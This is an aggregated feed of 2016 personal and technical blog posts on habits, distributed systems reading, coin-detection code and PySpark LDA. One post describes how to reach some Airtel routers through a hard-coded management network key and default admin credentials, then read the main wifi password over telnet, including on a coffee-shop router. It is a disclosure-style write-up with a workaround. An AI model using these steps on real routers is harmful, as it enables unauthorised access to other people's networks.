Josh Thompson — Tue, 17 May 2016 03:00:00 GMT

It’s tempting to track results, when trying to accomplish something.

If you’re working on any project of sufficient size, the results will come slowly, fitfully, and sometimes not at all.

So, don’t track results, track your efforts. (Yes, how very American of me. I don’t believe in participation awards, or helicopter parenting, etc. Bear with me.)

Time box your efforts (one month is a nice period of time) and then do your “input” for one month. At the end of the month, step back and look for the results.

But don’t do the thing a few times, and expect results quickly. That’s an easy way to get frustrated.

Fermat's Enigma

🦉 olshansky 🦁 — Tue, 17 May 2016 03:00:00 GMT

Olshansky's review of Fermat's Enigma by Simon Singh

How I became a compulsive math problem solver

D13V — Tue, 17 May 2016 03:00:00 GMT

In high school I did well in math competitions and even qualified for the national team.

Part of the reason was that I spend a bunch of time on my own solving math problems. It didn’t feel like a compulsory work. Instead, it was often a compulsive behavior for me. I was often unable to un-glue myself from the math problem at hand.

When I saw a good problem, I attempted to solve it. The easier ones I could solve quickly. But some of them only gave in after hours of trying different approaches and strategies. It felt fantastic to solve a hard math problem. It was a puzzle, and I enjoyed solving it.

In the typical math problem, there were several facts given. An example problem might be:

Problem 1. Let a, b and c be non-negative. Suppose

a^2 + b^2 = c^2

and

2b >= c

Prove that

3c^2 <= a^2 + (b+c)^2 <= 4c^2

I just made that problem up. But I know it is true, so I’ll let you try to solve it.

When solving a problem like that, I am trying to connect the dots. Here, the dots are, on one side, the two given input conditions, and on the other side, the output requirement. Solving the math problem is a sequence of manipulations, trying to bring both sides them closer to each other. One approach would be to start manipulating the inputs into a different form, that is closer to the output. Or manipulate the output bring it closer to the inputs. Or do a transformation on the problem space into another, more comfortable space to work in.

Each of those steps translates the problem into a different problem, which may be easier, or harder. It may take hours of trying different transformations until I get on the path to solution, and bring the two sides of the problem together.

It is like playing a video game where I’m walking around a maze, trying to find the right combination of items to unlock the exit door. I may walk around for hours, without success, but the feeling of progress fuels me. Every time I collect a new item, every time I think of a transformation of the problem, I feel that I’m making progress. Even if that transformation itself is not useful at the end of the day, I still get the excitement. I’ve discovered a new corridor in the maze. It is thrilling, what might be inside it. Each of those thrills helps me sustain my excitement in solving the problem.

Every new problem is a new maze, a new puzzle to figure out. In the beginning, the act of exploration was what was thrilling. But after solving a large number of problems, just the existence of the maze was a reason for excitement. Even without having actually tried any problem solving approaches, I knew that I could try them. I knew that I could explore, and that I’d discover interesting paths to the solution.

Just knowing that this adventure awaits was the reason for me to jump on it. I had trained myself through repetitive exposure to the enjoyments of the process of problem solving, to love it.

The act of fully connecting the dots was the most rewarding part of the problem solving, but it wasn’t the most accessible. In the long run, reaching solution was the high octane fuel which fueled my desire to become better at problem solving and to do more of it.

But I needed a kindling, a tinder, a fire-starter to get to it. The fun of the process was part of it, but also the environment I was in provided additional boost. I was among people who considered math cool. I liked the competitive feeling of the math olympiads. I liked traveling to different cities for math competitions, and meeting other students who enjoyed solving math problems.

All this encouragement was the catalyst which got me to love solving math problems so much. It became a self-sustaining habit, to enjoy the pleasure of math. It became a compulsive behavior, to attempt to solve a problem whenever I saw an interesting one. This helped me become good at it.

Now, I’m looking to become good at writing. Writing helps to clarify and express my thoughts. I have the intuition that it a great exercise for my mind. And it feels awesome to complete a nice essay. And it helps me grow.

Still, it is not a solid habit yet. I am still adding fire-starters to it. I have a nice emacs-based writing environment. I reward myself with coffee when I’m writing. It is trivial for me to post a new essay to my online collection.

All these niceties help me reinforce this new habit until it is strong enough on its own.

Four easy reads to understand distributed systems issues

Separate Concerns — Mon, 16 May 2016 20:20:00 GMT

Even among software people, those of us who work with distributed systems and algorithms are sometimes seen as mad scientists. We use words like like consistency, causality, consensus, commutativity, idempotence, immutability and “impossibility theorems”. How come we have to read papers and tear our hair out just to make software run correctly on a few machines? Are we all failed academics incapable of pragmatism?

I have selected four documents to help you understand the kind of things we spend our days thinking about, the physical limits we work with and the trade-offs we make. You may want to read them, because distribution is becoming the norm rather than the exception, so you may have to think about at least some of those issues sooner than you expected. Those are simple documents that any programmer should be able to read. Only the last one is an actual paper, and it is a simple position paper with no math, I promise.

There is No Now

Most distributed systems are asynchronous, which means that the usual notion of time does not make sense within them. This article by Justin Sheehy, former Basho CTO (now at VMWare), published in ACM Queue in March 2015, is about that fact and its consequences. It inspired me to make this list, because as soon as I read it my first thought was that I should share it with all of my colleagues and every single person I will ever work with. It introduces two important impossibility theorems (FLP and CAP) and adversarial models, discusses the existence of “reliable” clocks and networks, and touches on some solutions such as consensus protocols and CRDT.

Eventually Consistent - Revisited

This 2008 blog post by Werner Vogel (Amazon CTO) explains the trade-off between availability and consistency, introduces consistency models, and hints at the relationship between the replication factor of data and the level of consistency that can be achieved. If you want to go further after that, you can read the famous Dynamo paper (which is not too complicated), preferably in its version annotated by Basho.

Distributed systems for fun and profit

This document, by Mikito Takada (Trifacta), is longer than the others. It is the best short (meaning: not a whole course or book) introduction to distributed systems I know. In a nutshell, it expands on the ideas presented in the first two documents and gives you most of the necessary concepts and vocabulary to understand actual distributed systems papers, should you want to read them.

Building on quicksand

I could hardly leave that 2009 paper by Pat Helland and Dave Campbell out of this list. It starts with the idea that, as the distribution of systems increases, latency makes synchronicity intractable and pushes us towards asynchronous designs. The rest of the paper is a discussion of the trade-offs involved. The very interesting idea in that paper (also found in other papers by Pat Helland) is that it all comes down to a problem of risk management and reconciliation. If asynchronous software can not ensure something will happen, it may make a guess and fix the result later if it was wrong. That may include having to make excuses to an actual human being. An important corollary is that the distributed nature of software permeates all the way to the user interface (which is why you may have seen me ranting about how we need to start forming cross-functional teams, with developers who understand UX and designers who get distributed systems).

Bonus: Why Logical Clocks are Easy

I said on Hacker News that, if I wrote that article today (in May 2016), I would add this article to the list. I was advised to edit the original blog post, so I did.

Published in April 2016 in ACM Queue, this article by Carlos Baquero and Nuno Preguiça may be the best introduction to causality I know. Causality is a very important concept in distributed systems. In a nutshell, the idea is to answer the question: given two events, could one have influenced the other? In other words: when the entity performing the second event did, dit it have any knowledge that the first happened? This article introduces causality and gives usual ways to represent it in theory, with causal histories, and in practice, with vector clocks and version vectors as well as their dotted variants.

Conclusion

When I started programming as a child, I was hooked by the idea that the computer was a perfect machine that, unlike a teacher, would never be unjust: it would work if I got the code right, and if I did not I just had to fix it and try again. Once it worked, it would always work! Everything was reproducible, and all issues could be diagnosed and understood.

Of course, I grew up and the messy reality caught up with me. I went into distributed systems, which are a lot more like physics than maths. There are laws that govern the world out there, and they are always coming in your way. Everything works as expected, until something unexpected happens. And sometimes, you will not even be able to explain what it was after the fact.

Distributed systems work is about that adversarial world out there, and how we write programs to cope with it. It is about dealing with the unreliability of clocks, communications, hardware and, sometimes, people. It is about reading papers, drawing diagrams, writing proofs sometimes, and finding solutions to obtain the guarantees we want. More than anything else, distributed systems is the science (or art? or game?) of trade-offs. It is hard, error-prone and usually broken, terribly complicated sometimes, but it is my field, and so far I like it.

Scala Play2: Tolerant JSON body parsing with dedicated error handling

Home on The Log Book of Manuel Kießling — Mon, 16 May 2016 18:13:00 GMT

I'm currently rewriting a Scala Play2 based web service that employs the following body parser: def tolerantJsonParser[A](implicit reader: Reads[A]): BodyParser[A] = parse.tolerantJson.validate(json = json.validate[A].asEither.left.map(err = Results.BadRequest) )(play.api.libs.iteratee.Execution.Implicits.trampoline) def doSomething = Action.async(tolerantJsonParser[SomeThing]) { request = val someThing: SomeThing = request.body ... Not shown here is the implicit Reads that takes care of transforming the Json object into an object of case class SomeThing when the json.validate method is called.

Counting Money

Nicholas Pilkington — Mon, 16 May 2016 03:41:36 GMT

This post is based on a question from the Challenge 24 competition in 2016 where we were given a photograph of each of the denominations of Hungarian currency, called Forints. In addition given a number of photos of piles of coins (some of them counterfeit) and we had to compute the total value of money automatically.

First let’s look at the template and see how we can easily extract the location of the clean coins. A flood fill can compute the connected components using a BFS which runs quickly enough and since the images is quite clear we can just iterate through each unvisited non-white pixel and for each start a new component and flood out to all connected pixels that aren’t white. Here’s the code:

import cv2
from itertools import product 

def flood_fill(img):

    rows, cols = img.shape

    components = {}
    component_id = -1
    seen = set()

    for (r, c) in product(range(rows), range(cols)):
        if inside(r, c, img, seen):

            component_id += 1
            components[component_id] = []
            q = [(r, c)]
            seen.add((r, c))

            while len(q) != 0:

                cr, cc = q.pop()
                components[component_id].append((cr, cc))

                for (dr, dc) in product([-1, 0, 1], repeat=2):

                        nr, nc = cr + dr, cc + dc

                        if inside(nr, nc, img, seen):
                            seen.add((nr, nc))
                            q.append((nr, nc))
    return components

The results look good and it cleanly picks out the backs and fronts of each coin in the template:

Now that we have all the templates we need to find matches of them in images like this, which we will call background images:

Matching coins in images is often presented as an example of image processing algorithms in particular segmentation and the watershed algorithm. There are a couple of things that make this deceptively difficult in this case though. The first is that we aren’t just detecting or counting the coins we actually need to know which denomination each one is so we can total the amount. The second is that the coins can occlude one another so you may only see part of a coin. Finally the coins can each be arbitrarily rotated and fakes coins can appear that are larger or smaller than the originals - these need to be discounted.

There are a few ways of matching templates in an image. One way is to look at the cross-correlation of the two images at different points. You can think of this as sliding the template image row by row, column by column over the background image and at each location measuring how much the two images correlate. So we are looking for the offset that corresponds to the maximum correlation. The problem with this method is that it is super slow especially if the images are large or (like in this case) there are multiple templates to match and we are looking for the best match. We can solve this much faster in the frequency-domain using something called phase correlation. This is the same cross-correlation technical but also isolates the phase information. If Ga and Gb are the Fourier transforms of the template and background images respectively and Ga* and Gb* are their copmlex conjugates we can compute this as:

and retrieve a normalized (important because there are multiple templates to match) cross-correlation by taking the real component of the inverse Fourier transform of this. Here’s some code that computes the location of the peak of the phase correlation which corresponds to the translation by which the template is off the background image. This process is called image registration.

def find_translation(background, template):
    from numpy import fft2, ifft2, real, abs, where

    br, bc = background.shape
    tr, tc = template.shape

    Ga = fft2(background)
    Gb = fft2(template, (br, bc))

    R = Ga * conj(Gb)

    pc = ifft2(R / abs(R))
    pc = real(pc)

    peak = pc.max()
    translation = where( pc == peak)

    return translation

Running phase correlation for each template iteratively and selecting the highest peak seems to perform well and we are able to correctly register all the coins both back and front in addition to the occluded coins:

This seems to work pretty well and picks out the images however it can’t handle coins that are scaled or rotated. Rotation is actually quite a complex operation if you look at the movement of pixels. Let’s try rearranging the pixels in the image in such a such that they change more predictably when the image is scaled and rotated. We can use some kind of conformal mapping. These are functions that preserve angles in the Euclidean plane and one of the most common is the log-polar transform. Here’s a basic implementation of the log-polar transform:

def log_polar(image):
    from scipy.ndimage.interpolation import map_coordinates

    r, c = image.shape
    coords = scipy.mgrid[0:max(image.shape)*2,0:360]

    log_r = 10**(coords[0,:]/(r*2.)*log10(c))
    angle = 2.*pi*(coords[1,:]/360.)
    center = (log_r*cos(angle)+r/2.,log_r*sin(angle)+c/2.)

    ret = map_coordinates(image,center,order=3,mode='constant')
    return cv2.resize(ret, image.shape)

Here are the resulting log-polar transforms of a few images as they rotate. What’s useful to note here is what happens to horizontal, vertical and radial lines.

So rotation in the log-polar space manifests as a cyclic shift of the columns of pixels. This makes sense because the units of the X axis in the images is no longer X but the angle of rotation. So pixels on the same angle in the original image (from some center) map to a horizontal line in log-polar space. Similarly pixels on the same radial are mapped to vertical lines Y. Another interesting point about this transform is the use of the logarithm. This effectively squashes the bottom rows of the transformed images. Look at the number of pixels dedicated to the text “Forint” compared to the number of pixels dedicated to the center of the images. This mimics the function of the fovea in the human eye and dedicates more resolution to the area in focus which is useful in a number of images tracking applications.

So once we have located the template in the background image we can can use the Fourier shift theorem which tells us that a linear shift in phase manifests as cyclic shift in the Fourier domain. Now we have a way to register two images and compute the translation, rotation and scale factor between them using the following function. Using this information we can detect and count all coins in the image (including the rotated ones) and discount coins that aren’t an authentic size. There are limitations to this method though for example because of the symmetry of the Fourier transform we can only detect a limited range and resolution of scale and rotation. There are more complicate methods that extend it though but thankfully their weren’t needed in this case.

Image registration using spectral methods is really fast and commonly used to align where there is known to be an affine transform between the images. More complex methods are needed to where there is a perspective transform between the two images which will be the topic of an upcoming blog post.

Give it 30 days

Josh Thompson — Mon, 16 May 2016 03:00:00 GMT

Do you have any big audacious goal you want to accomplish?

If you think back to Jan 1, 2016, what were your goals?

Lose weight/get in shape
Make more money/start budgeting
Learn a language
Learn a skill
Read more
Stop doing something (smoking, drinking)

Statistically, all of these efforts failed within the first few weeks of 2016.

I believe that May 16th, 2016, is a far better day for a SHORT exploratory period of a goal.

You won’t complete bad goals

None of the items in the above list meet the criteria of a good goal. A good goal needs to be:

Specific
Measurable
Assignable
Realistic
Time-related

(See the acronym those words make? SMART. heh)

A nice time-period for me is a month.

I can do something regularly for a month, and I am way more motivated to give it a good go than think to myself “well, today’s the first day of a new thing that I want to do, and I’m going to do it every day for the rest of my life.

(Easy example is right now I’m publishing something every day. For a month. I’m about half way through. No way I would be motivated to stick with this for a year, or the rest of my life)

Failure to keep a goal provides valuable insight

If most Americans have a New Years resolution, you can be sure that most of those Americans then guilt themselves some time later about not actually completing the resolutions.

They shouldn’t. We have a powerful sense of inertia in our life, and this keeps us powering through the day-to-day without any major problems. It’s a good thing that we can’t rewrite our habits quickly or easily. It’s just also a frustrating thing.

Don’t be frustrated that your habit didn’t stick. Press into that frustration and dig into “why did the habit not stick?”. I’m of the opinion that habits only work if you make it really really easy to keep the habit, but this front-loads the effort of making a new habit, which is hard.

Plan on failing. Since failure provides information, don’t beat yourself up over it, just regroup, re-evaluate, and give it another go.

Time-boxing lets you (makes you?) decide where you want to be in a month

I’ve been trying to learn French recently, and trying to improve my Spanish. It’s not plausible to do these simultaneously, and “improve my {language}” is a terrible goal.

So, today, I told my French-speaking language buddy I needed to postpone our next session by a month, so I could spend time on Spanish. Then, in a month, I’ll take a few days of a “break”, and move back into French mode.

This makes me feel very motivated to make progress in Spanish, because I’m “time boxed”, and once this month is through, it’ll be at least another six weeks before I practice my Spanish again.

So, I’m going to work on Spanish for 30 days. Coming soon is “How I find native Spanish speakers to practice with.” (It has nothing to do with being in a Spanish speaking country)

Intentional Habit Building (By me)

Insecure Airtel wifi routers with MGMNT ssid

Shyam Jos — Mon, 16 May 2016 03:00:00 GMT

Some of the wifi routers (especially beetel models) provided by airtel broadband is paired with two SSIDs(Access point), One is an actual SSID for internet access and another one called MGMNT, which is used by airtel for maintenance / automatic configuration. The default key for MGMNT is 0987654321, which is hard-coded into the router’s firmware and the stupidest part is there is no option to disable it.

Now lets start hacking!, Connect to MGMNT SSID with the key 0987654321. Then Navigate to 192.168.1.1 in your browser and login with the default credentials username: admin and password: password If you are lucky now you can see a network status page (view only)

In recent models airtel patched a vulnerability that allows an attacker to view/change the password of the main SSID by connecting to MGMNT and browsing to the URL : http://192.168.1.1/basic/home_wlan.htm.Since the router i am testing was running on a patched firmware, it didn’t worked.

So the next option was Telnet, I was able to telnet into the router with the credentials admin/password.

Telnet 192.168.1.1

Airtel router telnet

Bingo! after playing with telnet for sometime I found the password for main SSID by typing the command:

show wlan config

hacking airtel wifi password

I was also able to hack another airtel router in a coffee shop with my andriod phone using terminal emulator app.

airtel patched vulnerability in web interface but forgot to patch telnet service which is accessible through the MGMNT ssid , An attacker can use the default user account which has full privilege to view and modify router configuration via telnet.

How to disable MGMNT ssid ? #

Currently there is a workaround for this problem, by modifying the router configuration backup file and restoring it back.Please see this stackoverflow answer.Also change your router’s default password as soon as possible.

Cheap fix to night-time teeth grinding

Josh Thompson — Sun, 15 May 2016 03:00:00 GMT

A few years ago, I found out I grind me teeth at night.

Kristi says it sounds like I’m chewing marbles.

Others who grind their teeth give themselves headaches, or wake themselves up at night.

You can’t really stop yourself from grinding your teeth, since you’re asleep.

You can stop chewing gum, and try to be less stressed, but the go-too solution for teeth-grinders is a mouth guard.

Custom mouth guards are expensive and uncomfortable.

Over the counter mouth guards fall into two categories:

Bulky mouth guards that you soak in boiling water and then fit to your teeth. I tried two of these, and found them to not be that comfortable, AND I bit through BOTH of them after a week or two. Whoa.
Low profile mouth guards that are basically like magic. I use the Plackers Mouth Guard Grind No More* exclusively now. Supposedly they are disposable, but I use them for a few months at a time. They have very little texture, so they’re easy to clean/don’t get smelly, and they’re small and flexible, so they take up very little space in a toiletry kit.

And, as a bonus, they are comfortable, and don’t impede my talking.

They’re cheap as dirt (you can buy them one-at-a-time in a pharmacy, for $1.20 or so), and if you try them and don’t like them, you’ve lost nothing.

Give ‘em a shot

*I don’t do affiliate links. Just trying to share useful things.

2016-05-15

ho.dges.online — Sun, 15 May 2016 03:00:00 GMT

My all-time favorite question to ask people (and why you should ask it too)

Josh Thompson — Sat, 14 May 2016 03:00:00 GMT

I met two people yesterday from Colorado, while in Spain. We climbed together yesterday and today, and Kristi and I had dinner with them.

Half way through the meal, I asked my all-time favorite question:

If you could go back to twenty five year old you, and tell yourself anything, knowing it was coming from future you, what would you say? (And where were you living/what were you doing as a twenty five year old.)

I’ve asked this of probably a hundred people, and always get an interesting answer.

Want to know why I’m asking?

I’m 27. Having 100 people reflect on what they’d tell a younger version of themselves is a pretty good way to learn things.

Now, I don’t recall many specific answers. Usually it segways into a larger conversation. Few people have concise, ready answers.

But if I did have a ready-made list of answers that were really insightful and a little irrelevant, I think it would look a lot like this list: 40 things about life I wish I could travel back in time and tell myself

How about you?

If you could tell your twenty five year old self anything, what would it be? (If you’re younger than twenty eight, the question changes to “if you could tell your twenty one year old self anything…”)

You should ask this question of those around you

This is a weighty question. Usually, when I ask someone, they say “hm. That’s a good question…” and then they’re quiet for a moment. They think, a lot. And their answer paves the way to great conversation, in addition to being useful in its own right.

Sometimes they thank me for the question. It’s a good way to show someone that you’re listening to them, and interested in them. These are good things.

Never Eat Alone by Keith Ferrazzi. People are good, you should learn from them and enjoy yourself around them. This book will teach you how. It taught me how.

Hack, HHVM and avoiding the Second-system effect

Bytepawn - Marton Trencseni — Sat, 14 May 2016 01:00:00 GMT

I read this book on my first vacation after I started working at Facebook and thus became a semi-regular Hack/HHVM user. I highly recommend reading (parts of) it. But not to learn Hack/PHP, which is irrelevant to most people. Instead, it’s to learn about how Facebook improved it’s www codebase and performance without rewriting the old PHP code in one big effort, and thus avoided the famous Second-system effect.

How to never accidentally click Twitter's "Moments" again (and to block anything else on the internet you don't want to deal with) - with uBlock

Josh Thompson — Fri, 13 May 2016 03:00:00 GMT

Do you use Twitter’s “Moments” tool, or do you just find it really annoying?

Most people find it annoying. Here’s how to get rid of Twitter’s “Moments” forever:

0. Be won over to using an ad blocker on the internet.

They don’t block just ads, but malicious scripts and bandwidth-hogging junk. I’m a huge fan, so is Lifehacker. Others are not

1. Install uBlock Origin.

Here’s links for Chrome, Firefox, and… the jury is still out for a good ad blocker for Safari.

Already using AdBlock Plus? “uBlock is lighter/quicker than ABP” - Lifehacker

(There’s a big kerfuffle about uBlock vs. uBlock Origin. I just trust the internet and went with uBlock Origin.)

2. Click the uBlock icon, and click the eye dropper tool.

The tool label is “Enter Element picker mode”

3. Move the element picker to the entire “Moments” section.

(Not just the text or the icon)

4. Click it (or any section of the page you want to hide)

You know you want to. You won’t break anything. Once you click it - the thing you clicked? It’s GONE!

5. On the tooltip that pops up in the bottom right of your screen, mouse over it, and click “create”

Here’s a gif of using uBlock:

A gif of using uBlock

If you make a mistake, no sweat. Right click on the uBlock icon>options>my filters>delete the rule you don’t want>apply changes

Done! Never get frustrated clicking into “Moments” again!

You can use it elsewhere, too.

For example, email “subscribe now” popups can get annoying.

I’ve subscribed to a newsletter ( Kopywriting Kourse, if you must know), and when I click a link in the emails I receive, I get more popups asking me to join the newsletter! So, I use uBlock to permanently hide the popup:

Bock annoying “subscribe now” popups.

That’s all. Hopefully this is useful!

PS: The controversy about ad blockers makes me think about advertising as a huge mis-allocation of resources for modern man. I’ll expand on this some day.

The blinking cursor and the hot towel

D13V — Fri, 13 May 2016 03:00:00 GMT

I was just getting in my terminal when I noticed that the cursor was not blinking.

C’moon! I can work with a non-blinking cursor. When a cursor blinks it sets up the pace. I keep moving as the cursor blinks. It is hypnotizing. I can leave my thoughts behind and operate in a state of flow.

The blinking cursor is easy to see. I don’t need to look for the white rectangle. I can spot it much easier even when I’m not focused on the screen. It is the only thing moving and changing.

But most of all, I’m used to it. It doesn’t matter that much that it is easier to notice and that it sets the pace. Those are nice features of the cursor, but they are not essential. The essential thing about the blinking cursor is that it puts me in a familiar environment. There, I don’t spend extra effort trying to find my bearings. I can then think about the purpose at hand.

The familiar blinking cursor is comforting. When I am trying to develop a new habit, having that extra familiarity and comfort counts.

Developing new habits is one of the hardest problems I’ve seen. It is harder than solving math problems, or constructing proofs. It is harder than writing code and doing data science. Because there is no single solution and no way to know if a solution will work. The only thing I can do is to try different strategies for habit formation. The Internet is full of advice but most of it doesn’t generalize well.

When I first start a new habit, I have motivation. I stick to the habit for a while, until I forget about motivation. Then, the real test for my approach begins. If I have picked an exciting habit, or a habit which makes me feel better, I’ll be more likely to stick to it. If I’ve picked an easy habit, which doesn’t take much time to do, I’ll be more likely to stick to it. But if I’ve attempted a harder habit, I’m more likely to abandon it.

Having discomfort is a hindrance to the habit formation. But having additional comfort, or reward can foster the new habit. The blinking cursor is calming and provides mental comfort, but it hardly gives any reward. As I am trying to build my writing habit, it helps to have the comfort but it is not enough. Completing an essay is super fun and rewarding, but I don’t complete a new essay every time I write.

Recently, I developed the habit of shaving every morning. I gave my self a “pleasure boost” as a part of the shaving. The pleasure came from a hot towel, which I used to clean my face and soften my facial hair. I’m sleepy in the morning, and the hot towel is refreshing and wakes me up. It feels amazingly good! And I feel awake and energized after that. This sends a strong reinforcement signal to shave every morning. It was one of the easiest habits I’ve developed.

I want to write a lot more essays. I feel pumped and pround after I finish an essay. But if I write a half-essay, I don’t feel half-pumped. I feel at base level. I have a comforting environment, with blinking cursors, spell check, weasel word check and other nice tools which point out complicated sentences.

I don’t have a hot towel for writing… yet.

Find out how much money you've made (in your entire life)

Josh Thompson — Thu, 12 May 2016 03:00:00 GMT

This post went by on the Personal Finance subreddit today:

https://www.ssa.gov/myaccount/

After creating an account / logging in, click on Earnings, then add the columns. If you have been working for many years, try copying/pasting the column in excel and using the sum function.

The numbers don’t list money not reported to the government, obviously. I don’t know if the numbers are before or after taxes.

You’ll come up with a number of how much you’ve earned in your lifetime. Reduce that by 25% to account for taxes.

This is your lifetime earnings, as reported to the Feds.

You might feel many emotions rolling through you as you see this number.

In response to these many emotions, read Your Money Or Your Life. This book will help you process those emotions.

(Also, with this number in hand, you’ll have done the hardest bit of homework in that book, which is “calculate life-time earnings”.)

Here’s the book again:

Your Money Or Your Life

The Slight Edge, and why you should read it

Josh Thompson — Wed, 11 May 2016 03:00:00 GMT

I read The Slight Edge a few months ago.

Since then, it’s been the book I recommend most often to most people. (I don’t make book recommendations willy-nilly, but if something seems relevant to what the person I’m speaking to is experiencing/thinking about, I make a recommendation.)

I joyfully recommend other books about career advice, money management, exercise, and I love fiction, so I’ve always got a bunch of those ready to recommend too, but usually The Slight Edge is the most appropriate recommendation.

I wish I could recommend the Kindle version of the book, but… I can’t. :(

Jeff Olson wrote the first version maybe ten years ago. It was a massive success. So, recently, he wrote an “updated” version, that basically spends half the book explaining how good the ideas in the first version are, and all the spin-off books, conferences, etc that have come from it.

The content of the most recent version is still good, it’s just filled with tons of fluff that doesn’t need to be there.

Go compare the Amazon reviews of the first version to those of the second version

Even the 2nd version has an 88% rate of five stars, out of about 1000 reviews, so not too shabby, but feel free, if you read it, to skip the bits that you don’t want to read.

Here’s the premise of the book:

Small actions, taken every day, compound. They compound in a way that hurts you, or in a way that helps you. Progress may seem nonexistent, but take joy in the small beneficial “slight edge” actions you can take, and over time, you’ll have something great. Conversely, if you take the slightly easier option of many small harmful (or neutral) decisions every day, over time these compound against you and your health, relationships, finances, etc.

Go read the book. The original edition costs $7 + shipping via Amazon (I don’t do affiliate links, by the way.) and you can read it over the next month. That’s about 10 minutes of reading a day.

I referenced this book when I wrote that Everything I do and think I’ve read in a book, and how the mentality outlined in this book trickle down through every part of your life, whether you are aware of it or not.

Read it.

Here’s the link again

Touring the United States and Canada

Ben Bolte — Wed, 11 May 2016 03:00:00 GMT

Narration from my trip through Nashville, Chicago, Toronto, Montreal, and Washington DC.

Links - May 11th, 2016

Avy Faingezicht — Wed, 11 May 2016 03:00:00 GMT

Anvil 0.4.0 + support libraries

zserge's blog — Wed, 11 May 2016 03:00:00 GMT

Previously on Anvil: version 0.1 was the first one to use incremental rendering approach instead of virtual tree diff’ing. Version 0.2 added support for XML layouts and binding data to existing views. Version 0.3 was about two-way data bindings - most views got simplified lambas for handling user input and many related bugs have been fixed. Today’s version 0.4 takes care of support libraries. I personally rarely use support libraries (at work we don’t target regular consumer devices so material niceties or fragments or action bars are not used a lot).

TFL and the Victoria Line samples

infrequent oscillations — Tue, 10 May 2016 11:29:08 GMT

In which we borrow some samples to make some tunes.

Emacs: Find number of days between dates

xenodium.com @alvaro — Tue, 10 May 2016 03:00:00 GMT

Needed to find the number of days between two dates. Emacs calendar must know this…

Fire up the manual (M-x info-emacs-manual or C-h r).
Info-goto-node (or g).
Type "counting days" and voilá:

To determine the number of days in a range, set the mark on one date using `C-<SPC>', move point to another date, and type `M-=' (`calendar-count-days-region'). The numbers of days shown is [inclusive]{.underline}; that is, it includes the days specified by mark and point.

Note: you can use the mouse to jump to another date, or "g d" (calendar-goto-date).

Overcome (some) barriers in work with this magic phrase

Josh Thompson — Tue, 10 May 2016 03:00:00 GMT

You’re sending an email to your boss about some decision point you’re facing. How should you word it?

Compare this wording:

Let me know if my criteria are sound, or if you have any concerns. I’d like to get started as soon as possible.

To this wording:

Unless I hear otherwise, I’m going to start reaching out to the clients that meet my criteria for this research.

If you sent the first option out in an email, you might be waiting a few days to get the go-ahead. The second option, and you can begin immediately, because a non-response from your boss is an implicit and meaningful approval of your plan.

The difference is night and day.

I first heard of this phrase through this lovely one-page website unlessiheardifferently.com.

I use this phrase all the time, and have gotten nothing but positive feedback.

Give it a whirl yourself, next time you want to get something rolling and don’t want to wait for the explicit permission of those around you. They’ll thank you for it.

Arranging Acappella Music

bpev.me — Tue, 10 May 2016 03:00:00 GMT

PySpark and Latent Dirichlet Allocation

Posts on Sean Lane — Tue, 10 May 2016 03:00:00 GMT

This past semester, I had the chance to take two courses: Statistical Machine Learning from a Probabilistic Perspective (it’s a bit of a mouthful) and Big Data Science & Capstone. In the former, we had the chance to study the breadth of various statistical machine learning algorithms and processes that have flourished in recent years. This included a number of different topics ranging from Gaussian Mixture Models to Latent Dirichlet Allocation. In the latter, our class divided into groups to work on a capstone project with one of a number of great companies or organizations. It was only a 3 credit-hour course, so it was a less intensive project than a traditional capstone course that is a student’s sole focus for an entire semester, but it was a great experience nonetheless. The Big Data science course taught us some fundamentals with big data science and normal data analysis (ETL, MapReduce, Hadoop, Weka, etc.) and then released us off into the wild blue yonder to see what we could accomplish with our various projects.

For the Big Data course, my team was actually assigned two projects:

Attempting to track illness and outbreaks using social media
Creating a module for Apache PySpark to conduct Sensitivity Analysis of pyspark.ml models

Both of these projects involved the use of Apache PySpark, and as a result I came to become familiar with it at a basic level. For a final project within the Statistical Machine Learning class, I considered how I could bring the experience of both together, and thought of using the LDA capabilities of PySpark in order to model some of the social media data that my Big Data group had already gathered. An idea of mine was that if we could cluster the social media content, then we could find further patterns or filter out bad data, for example. That said, when my class attempted to implement LDA models ourselves, it took a considerable amount of time to process, but I felt that using PySpark on a cluster of computers would allow me to utilize a respectable amount of the social media data we had gathered. I came across a few tutorials and examples of using LDA within Spark, but all of them that I found were written using Scala. It is not a very difficult leap from Spark to PySpark, but I felt that a version for PySpark would be useful to some.

Summary explanation of Latent Dirichlet Allocation

The article that I mostly referenced when completing my own analysis can be found here: Topic modeling with LDA: MLlib meets GraphX. There, Joseph Bradley gives an apt description of what topic modeling is, how LDA covers it and what it could be used for. I’ll attempt to briefly summarize his remarks and refer you to the Databrick’s blog and other resources for deeper coverage. Topic modeling attempts to take “documents”, whether they are actual documents, sentences, tweets, etcetera, and infer the topic of the document. LDA attempts to do so by interpreting topics as unseen, or latent, distributions over all of the possible words (vocabulary) in all of the documents (corpus). This was originally developed for text analysis, but is being used in a number of different fields.

Example in PySpark

This example will follow the LDA example given in the Databrick’s blog post, but it should be fairly trivial to extend to whatever corpus that you may be working with. In this example, we will take articles from 3 newsgroups, process them using the LDA functionality of pyspark.mllib and see if we can validate the process by recognizing 3 distinct topics.

The step is to gather your corpus together. As I previously mentioned, we’ll use the discussions from 3 newsgroups. The entire set can be found here: 20 Newsgroups. For this example, I picked 3 topics that seem to be fairly distinct from each other:

comp.os.ms-windows.misc
rec.sport.baseball
talk.religion.misc

I extracted the collection of discussions, and then put all of the discussions into one directory to form my corpus. Then we can point the PySpark script to this directory to pull the documents in. The entirety of the code used in this example can be found at the bottom of this post.

The first actual bit of code will initialize our SparkContext:

from collections import defaultdict
from pyspark import SparkContext
from pyspark.mllib.linalg import Vector, Vectors
from pyspark.mllib.clustering import LDA, LDAModel
from pyspark.sql import SQLContext
import re

num_of_stop_words = 50      # Number of most common words to remove, trying to eliminate stop words
num_topics = 3	            # Number of topics we are looking for
num_words_per_topic = 10    # Number of words to display for each topic
max_iterations = 35         # Max number of times to iterate before finishing

# Initialize
sc = SparkContext('local', 'PySPARK LDA Example')
sql_context = SQLContext(sc)

Then we’ll pull in the data and tokenize it to form our global vocabulary:

data = sc.wholeTextFiles('newsgroup/files/*').map(lambda x: x[1])

tokens = data \
    .map( lambda document: document.strip().lower()) \
    .map( lambda document: re.split("[\s;,#]", document)) \
    .map( lambda word: [x for x in word if x.isalpha()]) \
    .map( lambda word: [x for x in word if len(x) > 3] )

Here we process the corpus by doing the following:

Load each file as an individual document
Strip any leading or trailing whitespace
Convert all characters into lowercase where applicable
Split each document into words, separated by whitespace, semi-colons, commas, and octothorpes
Only keep the words that are all alphabetical characters
Only keep words larger than 3 characters

